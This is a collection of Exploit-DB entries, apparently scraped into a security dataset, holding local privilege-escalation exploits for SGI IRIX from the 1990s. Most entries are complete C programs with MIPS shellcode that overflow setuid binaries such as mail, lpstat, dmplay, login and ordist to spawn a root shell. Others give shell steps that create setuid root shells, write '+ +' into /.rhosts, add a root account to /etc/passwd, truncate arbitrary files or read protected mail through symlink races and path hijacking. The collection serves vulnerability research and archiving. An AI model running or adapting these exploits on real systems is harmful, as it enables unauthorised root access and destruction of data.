deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20138
Description: IRIX 5.3/6.x - '/usr/bin/mail' Local Buffer Overflow
Type: local
Platform: irix
Date: 1997-09-01
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1542/info

The mail(1) program, also know as mail_att, is used to read or send email. A buffer overflow condition exists in code that handles the LOGNAME environment variable. This could be exploited to elevate privileges. 
*/

/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/mail                                                           #*/

#define ADRNUM 228
#define PCHNUM 440
#define TMPNUM 228
#define NOPNUM 5000
#define ALLIGN 3

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[3];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("/usr/bin/mail for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10264+2500+228+228;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10264+112+32356;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10264+7000;

    envp[0]=buffer;
    envp[1]=&buffer[8000];
    envp[2]=0;

    b=buffer;
    sprintf(b,"xxx=");
    b+=4;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; 
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b=0;

    b=&buffer[8000];
    sprintf(b,"LOGNAME=");
    b+=8;
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execle("/usr/bin/mail","lsd",0,envp);
}
Exploit-DB #20129
Description: IRIX 6.2/6.3 - '/bin/lpstat' Local Buffer Overflow
Type: local
Platform: irix
Date: 1998-11-01
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1529/info

Certain versions of IRIX ship with a version of lpstat which is vulnerable to a buffer overflow attack. The program, lpstat, is used to check the status of the printer being used by the IRIX machine. The problem is in the command line parsing section of the code whereby a user can supply an overly long string and overflow the buffer resulting in a possible root compromise. 
*/

/*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
/*## /bin/lpstat                                                             #*/

#define NOPNUM 468
#define ADRNUM 300
#define PCHNUM 300

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],*b;
    int i;

    printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n");
    printf("/bin/lpstat for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8888+1364+140-15012;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8888+140+544+32748;

    b=buffer;
    *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execl("/bin/lpstat","lsd","-n",buffer,0);
}
Exploit-DB #20137
Description: IRIX 6.2/6.3/6.4 - xfs truncate() Privilege Check
Type: local
Platform: irix
Date: 1997-02-01
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1540/info

The truncate() system call on a number of versions of the IRIX operating system (with the xfs file system) does not properly check permissions before truncating a file, making it possible for unprivileged users to damage files to which they would otherwise not have write access. Although only versions 6.2, 6.3, and 6.4 are listed as vulnerable other versions may exhibit this behaviour as well. 
*/

/*## copyright LAST STAGE OF DELIRIUM feb 1997 poland        *://lsd-pl.net/ #*/
/*## truncate                                                                #*/

/*   truncates any file on a xfs filesystem                                   */

main(int argc,char **argv){
    printf("copyright LAST STAGE OF DELIRIUM feb 1997 poland   //lsd-pl.net\n");
    printf("truncate for irix 6.2 6.3 6.4 IP:all\n\n");

    if(argc!=2){
        printf("usage: %s file\n",argv[0]);
        exit(-1);
    }

    if(!truncate(argv[1],0)) printf("file %s truncated\n",argv[1]);
    else perror("error");
}
Exploit-DB #20130
Description: IRIX 6.5.x - '/usr/lib/InPerson/inpview' Race Condition
Type: local
Platform: irix
Date: 2000-01-01
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1530/info

Certain versions of IRIX ship with a version of inpview that creates files in '/var/tmp/' in an insecure manner and is therefore prone to a race condition.

InPerson's 'inpview' is a networked multimedia conferencing tool. InPerson provides multiway audio and video conferencing with a shared whiteboard, combined into a single, easy-to-use application. You use a separate "phone" tool to place and answer calls.

The 'inpview' program writes out temporary files in the '/var/tmp' directory. Because these filenames are not random, an attacker can create a symlink to a previously created filename and force the SUID 'inpview' to overwrite the file with 'rw-rw-rw' permissions. 
*/

/*## copyright LAST STAGE OF DELIRIUM jan 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/InPerson/inpview                                               #*/

/*   sets rw-rw-rw permissions                                                */

#include <sys/types.h>
#include <dirent.h>
#include <stdio.h>

main(int argc,char **argv){
    DIR *dirp;struct dirent *dentp;

    printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n");

    if(argc!=2){
        printf("usage: %s file\n",argv[0]);
        exit(-1);
    }

    if(!fork()){
        nice(-20);sleep(2);close(0);close(1);close(2);
        execle("/usr/lib/InPerson/inpview","lsd",0,0);
    }

    printf("looking for temporary file... ");fflush(stdout);
    chdir("/var/tmp");
    dirp=opendir(".");
    while(1){
        if((dentp=readdir(dirp))==NULL) {rewinddir(dirp);continue;}
        if(!strncmp(dentp->d_name,".ilmpAAA",8)) break; 
    }
    closedir(dirp);
    printf("found!\n");
    while(1){
        if(!symlink(argv[1],dentp->d_name)) break;
    }
    sleep(2);
    unlink(dentp->d_name);

    execl("/bin/ls","ls","-l",argv[1],0);
}
Exploit-DB #20128
Description: IRIX 6.5.x - '/usr/sbin/dmplay' Local Buffer Overflow
Type: local
Platform: irix
Date: 2000-08-02
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1528/info

Certain versions of IRIX ship with a version of dmplay which is vulnerable to a buffer overflow attack. The program, dmplay, is used to play movie files under IRIX. The problem at hand is the way the program handles the DISPLAY variable for the users X terminal. It does not check bounds and therefore is vulnerable to attack by an overly long user supplied string. 
*/

/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/sbin/dmplay                                                        #*/

#define NOPNUM 800
#define ADRNUM 156
#define PCHNUM 148
#define TMPNUM 52

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2],display[128];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
    printf("/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    if(argc!=3){
        printf("usage: %s {62|63} xserver:display\n",argv[0]);
        exit(-1);
    }

    if(!strcmp(argv[1],"62")){
        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10396+32;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10396+32+900+30540;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10396+32+8000;
    }
    if(!strcmp(argv[1],"63")){
        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10348+32;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10348+32+900-84;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10348+32+8000;
    }

    sprintf(display,"DISPLAY=%s",argv[2]);
    envp[0]=display;
    envp[1]=0;

    b=buffer;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execle("/usr/sbin/dmplay","lsd",buffer,0,envp);
}
Exploit-DB #20126
Description: IRIX 6.5.x - '/usr/sbin/gr_osview' Local Buffer Overflow
Type: local
Platform: irix
Date: 1997-01-01
Author: Last Stage of Delirium

Exploit:
/*
source: https://www.securityfocus.com/bid/1526/info

Under certain versions of IRIX, the 'gr_osview' command contains a buffer overflow that local attackers can exploit to gain root privileges.

The gr_osview command produces a graphical display of memory-management activity, including memory usage, page faults, TLB activity, and page swapping. This display provides a realtime window into the overall operation of the system. The buffer overflow itself is in the command-line parsing code and can be overflowed via a long user-supplied string. 
*/

/*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/sbin/gr_osview                                                     #*/

#define NOPNUM 3000
#define ADRNUM 3000
#define PCHNUM 1024
#define ALLIGN 1

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],*b;
    int i;

    printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\n");
    printf("/usr/sbin/gr_osview for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10256+1500+1024+3000;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10256+1500+1024+32636;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execl("/usr/sbin/gr_osview","lsd","-D",buffer,0);
}
Exploit-DB #336
Description: SGI IRIX - '/bin/login' Local Buffer Overflow
Type: local
Platform: irix
Date: 1997-05-26
Author: David Hedley

Exploit:
/* /bin/login exploit by DCRH 24/5/97
 *
 * Tested on:   R3000 Indigo (Irix 5.3)
 *              R4400 Indy (Irix 5.3)
 *              R5000 O2 (Irix 6.3)
 *              R8000 Power Challenge (Irix 6.2)
 *
 * Compile as: cc -n32 login.c     (for Irix 6.x)
 *             cc login.c          (for Irix 5.x)
 *
 * Press enter when prompted for a password
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      200
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
      targ_addr += atoi(argv[1]);

    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
      targ_addr += 4;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 24) | (targ_addr >> 8);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/bin/login", "login", "-h", &buf[1], 0, env);
    perror("execl failed");
}

// milw0rm.com [1997-05-26]
Exploit-DB #19351
Description: SGI IRIX 5.2/5.3 - 'serial_ports' Local Privilege Escalation
Type: local
Platform: irix
Date: 1994-02-02
Author: transit

Exploit:
source: https://www.securityfocus.com/bid/464/info


A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.


cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root
Exploit-DB #19268
Description: SGI IRIX 5.3 - 'Cadmin' Local Privilege Escalation
Type: local
Platform: irix
Date: 1996-08-06
Author: Grant Kaufmann

Exploit:
source: https://www.securityfocus.com/bid/335/info

A vulnerability exists in the chost and cimport programs, as shipped with SGI's Irix 5.x operating system. chost is part of the Cadmin package. By failing to validate the real userid, these programs allow any user to edit protected files, such as the passwd file.

/usr/Cadmin/bin/chost
tools-primary user information
change information
OK (to root password, ie leave blank)
OK (to "password invalid")
Cancel
Double-click any share resource to bring up desktopManager
running as root. Try editing /etc/passwd


/usr/Cadmin/bin/cimport
New
OK
OK
Cancel
double-click any of the mounted filesystems to bring up the desktopManager
Exploit-DB #19319
Description: SGI IRIX 5.3 - 'pkgadjust' Local Privilege Escalation
Type: local
Platform: irix
Date: 1996-09-23
Author: Hui-Hui Hu

Exploit:
source: https://www.securityfocus.com/bid/419/info

A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account. 

% cat > getroot.c
int main() { setuid(0); chown("sh",0,0); chmod("sh",04755); return 0; }
% cc getroot.c -o getroot
% cp /bin/sh sh
% ls -la sh
-rwxr-xr-x 1 hhui user 140784 Jan 5 20:52 sh
% /usr/pkg/bin/pkgadjust -f -a getroot
scanning inst-database

updating pkginfo-files
........................................^C
% ls -la sh
-rwsr-xr-x 1 root sys 140784 Jan 5 20:52 sh
Exploit-DB #19317
Description: SGI IRIX 5.3/6.2 - 'ordist' Local Privilege Escalation
Type: local
Platform: irix
Date: 1997-05-24
Author: Yuri Volobuev

Exploit:
// source: https://www.securityfocus.com/bid/415/info

A buffer overflow exists in the ordist program, as shipped with Irix 6.x and 5.x from Silicon Graphics. By supplying long arguments to the '-d' option, containing a properly crafted buffer of machine exectuable code, root privilege can be obtained. 

#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 306
#define OFFS 800
#define ADDRS 2
#define ALIGN 2

void run(unsigned char *buf) {

  execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
  printf("execl failed\n");
}

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";

unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}

/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }
  *(int *)addr=get_sp()+offs;
  printf("address - %p\n", *(int *)addr);

  strcpy(buf, nop);
  ptr=buf+noplen;
  buf+=noplen-bufsize % noplen;
  bufsize-=bufsize % noplen;

  for (i=0; i<bufsize; i++)
    *ptr++=nop[i % noplen];
  memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
    memcpy(ptr, nop, strlen(nop));
    ptr+=align;
  for (i=0; i<addrs<<2; i++)
    *ptr++=addr[i % sizeof(int)];
  *ptr=0;
  printf("total buf len - %d\n", strlen(buf));

  run(buf);
}
Exploit-DB #19066
Description: SGI IRIX 5.3/6.2 / SGI license_oeo 1.0 LicenseManager - 'NETLS_LICENSE_FILE' Local Privilege Escalation
Type: local
Platform: irix
Date: 1996-04-05
Author: Arthur Hagen

Exploit:
source: https://www.securityfocus.com/bid/72/info

Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.

% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &

Install...
NetLS Node-locked
Vendor Name: whatever 
Vendor ID: + + 
Product name: whatever 
License version: 1.000 
License version: 
Expiration date: 01-jan-0 

(in license version field put a space) 

Apply 

License(s) succesfully installed 

% cat /.rhosts 
#:# "whatever" "whatever" "1.000" "Incomplete" 
+ + 

If your system has remote root logins disabled, replacing /.rhosts with 
/etc/passwd and + + with toor:0:0::/:/bin/sh.
Exploit-DB #19269
Description: SGI IRIX 6.0.1 - 'colorview' Read Files
Type: local
Platform: irix
Date: 1995-02-09
Author: Dave Sill

Exploit:
source: https://www.securityfocus.com/bid/336/info

Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files. 

/usr/sbin/colorview -text /var/spool/mail/admin